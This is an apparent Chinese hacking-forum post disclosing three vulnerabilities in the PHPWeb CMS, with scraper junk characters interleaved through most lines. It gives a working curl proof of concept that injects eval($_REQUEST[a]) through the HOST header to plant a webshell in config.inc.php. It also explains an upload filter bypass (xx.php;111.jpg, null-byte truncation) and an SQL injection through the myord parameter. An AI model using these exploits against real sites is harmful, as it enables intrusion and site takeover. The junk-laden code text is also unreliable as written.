找回密码
 立即注册
查看: 3098|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
2 I6 f2 Y" `5 d' ^
; Q6 ?$ T# R0 O) K之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
9 A) {; u4 p5 F, w& O1 P! \
* R$ E; y% }. Z8 a# u  I8 |鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
( k2 v9 s( c7 @鸡肋2: 有一定安全常识的站长都会删掉 install 目录; z  j. C0 J3 B8 K0 a" ^8 Q
- R! t+ Z+ z/ \/ k( f: H6 h
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响; X! u4 @9 b" E- ~
( m; a+ c# F. N  ^/ w. Y7 g
分析:
3 G* O" C7 a1 S9 @% v  G9 l3 H
, ^4 T$ i( {# {9 V% ]5 f % _* _, ^6 m, H- B# X" }
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤$ \! [! L  E9 z" j% S
3 [1 \# Y/ A3 j
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);! D% ^" z4 R4 W9 X9 b. r9 j
                                            $filestr=str_replace(" ","",$filestr);
6 x3 N2 y7 d, R' ~5 p' k* r) a3 Z                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);( ^+ C0 R# W8 S. M( O
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
0 X+ s7 ]/ C" X+ _0 r& K                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);7 `8 {2 ]' r6 y( u% K* l
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);( V8 {# @: U6 I! z
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
/ v8 R" `# W- t                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
! `$ T& m/ ~) c4 n0 v% i                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
) |6 z+ ~+ |% Y& Q4 `$ y9 `5 ^ " C5 D% W7 [9 C1 ^; O; W
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
, s) U' @8 l# }& U; s- E$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
7 W+ A( ~/ \) n
) q. E7 T- y. {4 K. h5 a) \# p+ {poc:
; P, d1 w! Y/ E, z& I 6 ?( d" [  ^$ F9 L' [) B/ z& z5 f
?. f; Q; F4 m. u& M9 H; @: R
1# T8 B( p' a5 P! ~3 S7 }7 D! k2 }
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
0 e/ q( ~% T; n0 x% q( \! Xshell地址: /config.inc.php
8 M, V0 z- a- A/ s跟之前的 phpcms一样 需要远程数据库9 T. v! R5 r* n4 p# z0 N

+ y( W- [! y; \——————————————————–
8 w6 a& L  k: _4 N; e7 r* {8 _3 p上传漏洞(需要进后台):& n% S$ t$ G1 ^; B; }  P. I3 H' i- c7 a
漏洞文件: /kedit/upload_cgi/upload.php
" H2 G  r+ `+ C8 A2 k! o这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
5 d) b4 L/ Y0 @9 a' t0 y 1 Z  P5 g3 H5 _, U: V

# K' j; P0 k/ k# D$ J; k" m3 C; o<?php
. G, j8 o1 m6 j7 a' a+ a6 d& ?    define("ROOTPATH", "../../");
; d/ i+ O- p8 i6 D( ]$ X8 ^9 L7 \    include(ROOTPATH."includes/admin.inc.php");. U; {& R) W2 g! S0 g8 e
    NeedAuth(0);) }+ B6 C/ j# f$ X
1 W: s+ o. E) |
    $dt=date("Ymd",time());
( z, D! w, `" O- j( Z$ r& ?+ @    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
- `0 H6 N  m& Y5 c4 M            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
2 d& H8 e# w( x; c    }
/ _& W. R) W8 {1 [- v% n1 g, ^! G # i( t  @2 x0 J+ d  m
    //文件保存目录路径
* t, E& z+ h/ k$ v    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
+ Z; A) U+ j# l  y1 e! v    echo $save_path;! W! t7 ?) u$ x
    //文件保存目录URL; {$ y: f; t7 U& Z8 T
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
8 |( \) M% `9 `! b1 r
. k) T: U# n7 b" J; M* i    //定义允许上传的文件扩展名  |* J8 }7 `6 v$ k5 m/ I& _% e, R7 F
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
) t+ Z7 X5 i7 ~* g
+ H7 l5 o% j4 \' v7 N" u. n4 l    //最大文件大小& P# Q" e* R1 b6 `% W
    $max_size = 1000000;- i( ?  R$ S' P7 i* h" C. e0 {

, c/ M8 {  w' Q$ R    //更改目录权限2 f7 d1 y$ D/ n7 t
    @mkdir($save_path, 0777);
& i! v/ y, o) ?' z9 o ) @" o/ m* q$ i% S2 M
    //文件的全部路径& w% U$ r/ y' j* n' ~- H/ B2 X
    $file_path = $save_path.$_POST['fileName'];   //保存文件名1 l5 m" @: P$ M

/ |, }' p. ?5 c" t' a    //文件URL$ T  t% d5 g9 ~. Z! |
    $file_url = $save_url.$_POST['fileName'];
4 s* ^4 m2 {. e: W' U//有上传文件时- L& n$ H& w2 }4 K2 a
    if (empty($_FILES) === false) {+ ^5 M7 d0 ^# Z6 t0 }
- E! R2 P0 @, H! \* S
            //原文件名
% S8 J9 @4 W" R. m0 F& ~            $file_name = $_FILES['fileData']['name'];& O" M) y7 ]% E( a/ J1 l
            //服务器上临时文件名
% |! j6 Q, C8 G) ~" S            $tmp_name = $_FILES['fileData']['tmp_name'];
; @1 p' q" v9 A' N5 u8 l. k: [( B5 D            //文件大小
! w. y, p" U0 g4 \2 U            $file_size = $_FILES['fileData']['size'];6 m( S, d( ?9 R' f2 W8 q6 E
            //检查目录
( _* Z9 s  I* X. y# V8 a            if (@is_dir($save_path) === false) {
  ?+ l0 d, e7 Q# ?                    alert("上传目录不存在。");
0 f2 L' O7 w1 a4 L2 S# e8 Y% _" ~0 X            }
/ Q& N+ q& K) x7 t% S% G# t5 {4 @            //检查目录写权限
$ S; ~# c- V/ J9 N            if (@is_writable($save_path) === false) {
3 |$ r$ k/ D7 A' i+ e* T                    alert("上传目录没有写权限。");
( y6 p7 a3 R2 i+ W6 T# l! d            }
7 `) S, E6 D; ]+ @# c            //检查是否已上传
7 i3 [+ z) C7 P( Y1 {- S6 j            if (@is_uploaded_file($tmp_name) === false) {; B$ ]3 M. U- Z
                    alert("临时文件可能不是上传文件。");& d. G$ B4 g6 A. e( [( T
            }' t) Z5 q/ x; c9 x7 i- `/ M
            //检查文件大小  G; f0 j  e& R2 }5 |, n& R
            if ($file_size > $max_size) {  g8 Q6 t2 j1 g9 ~' Y
                    alert("上传文件大小超过限制。");# v" Y: i' S/ o8 U3 ^( W' ]
            }
7 T  P; y7 t: r; _! P            //获得文件扩展名
3 w, ~3 h5 S# M            $temp_arr = explode(".", $_POST['fileName']);
/ t4 I. M+ u% ^9 T" O6 d            $file_ext = array_pop($temp_arr);1 W! W6 n. r' Y9 U2 k5 |3 [0 \
            $file_ext = trim($file_ext);
( x/ p9 \! L8 I3 g( F            $file_ext = strtolower($file_ext);  [7 U0 L& `% O  {" \: y

" \0 b  ]/ E* C0 q' C+ t2 e            //检查扩展名   
# ]3 X" `1 g; ]7 w% M' }4 p8 w) Q            if (in_array($file_ext, $ext_arr) === false) {     ' q( x, N% D1 W4 z
                    alert("上传文件扩展名是不允许的扩展名。");, p" K' Q( N, w1 ?9 t
            }
# E% P1 i4 n' Z$ }5 N+ p# k( q
2 Q% e# [# O6 y% I6 j5 ^7 {9 T            //移动文件   3 }$ ~# A8 T! D. u
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
! u5 p) Z* o3 O; Z% |' o4 z            if (move_uploaded_file($tmp_name, $file_path) === false) {" x0 M. t! z1 W: l, j
                    alert("上传文件失败。");
( [" r9 p) A, [& W            }
: J& h, J" M- o" Y# C , y$ }/ ?! g3 {
            @chmod($file_path,0666);
5 H, B7 |, U( p
, {  T3 y. ^% k4 s7 ^    ?>0 C: v; h# L5 I* Q  ~0 i. T0 W
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227" a: s5 {- L1 u5 C0 `' d6 b
0 w) \2 H' [/ z9 Q9 T" e
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
- b: h5 l0 M( ~$ y) T8 ? - }5 N( c* R) @+ B, k1 r% _) }
——————————————————, ?7 o% {% B& k' u( O
注入漏洞:
* t; C  E# _! p" B7 L漏洞文件:search/module/search.php
2 s4 H4 q/ a( _; y5 b) |7 ^/search/index.php?key=1&myord=1 [sqlinjection]
9 u9 L: c" d! Z: ?
2 \1 t. \) j, k- A ! ~) ~- [1 v2 p0 I
<?php
( ?: H8 J( y0 m  A( i) g% L/ y9 v- U   //       ... 省略 n 行...! F; d8 K9 ?1 K$ F
   //第18行:
- s: J( ~% b7 J' }! H           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响" I- v- |3 W+ W* e/ [. B( x
           $page=htmlspecialchars($_GET["page"]);
- a; S) R0 L' I, d1 \# ^& x1 ?           $myord=htmlspecialchars($_GET["myord"]);0 S: ~* K, Y: N+ N- N( q+ A! p

6 w0 c3 [' _, I' l! `   //       ... 省略 n 行...! ?: n. l& T( L6 M' j, p0 k( l& ~& d3 n
   $key,$myord 两个参数带入查询6 Y1 `1 G' v) C9 d7 J9 Q
   //第47行 $key:8 V8 x, A$ [! h4 z5 q

* x, E  M; M4 _   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
" n; ?1 ~0 w7 z1 r7 r! o' r' H
; o. l2 o& L# k& l5 u   //第197行 $myord
2 [6 V2 v5 R, ?% u' c' M" U   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
6 ]3 m: d% C& t, Z8 G6 [! r
% S" E- k! N+ u4 t5 `4 e% S4 U   ?>9 h6 V: A; P* F1 k9 s' d- I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表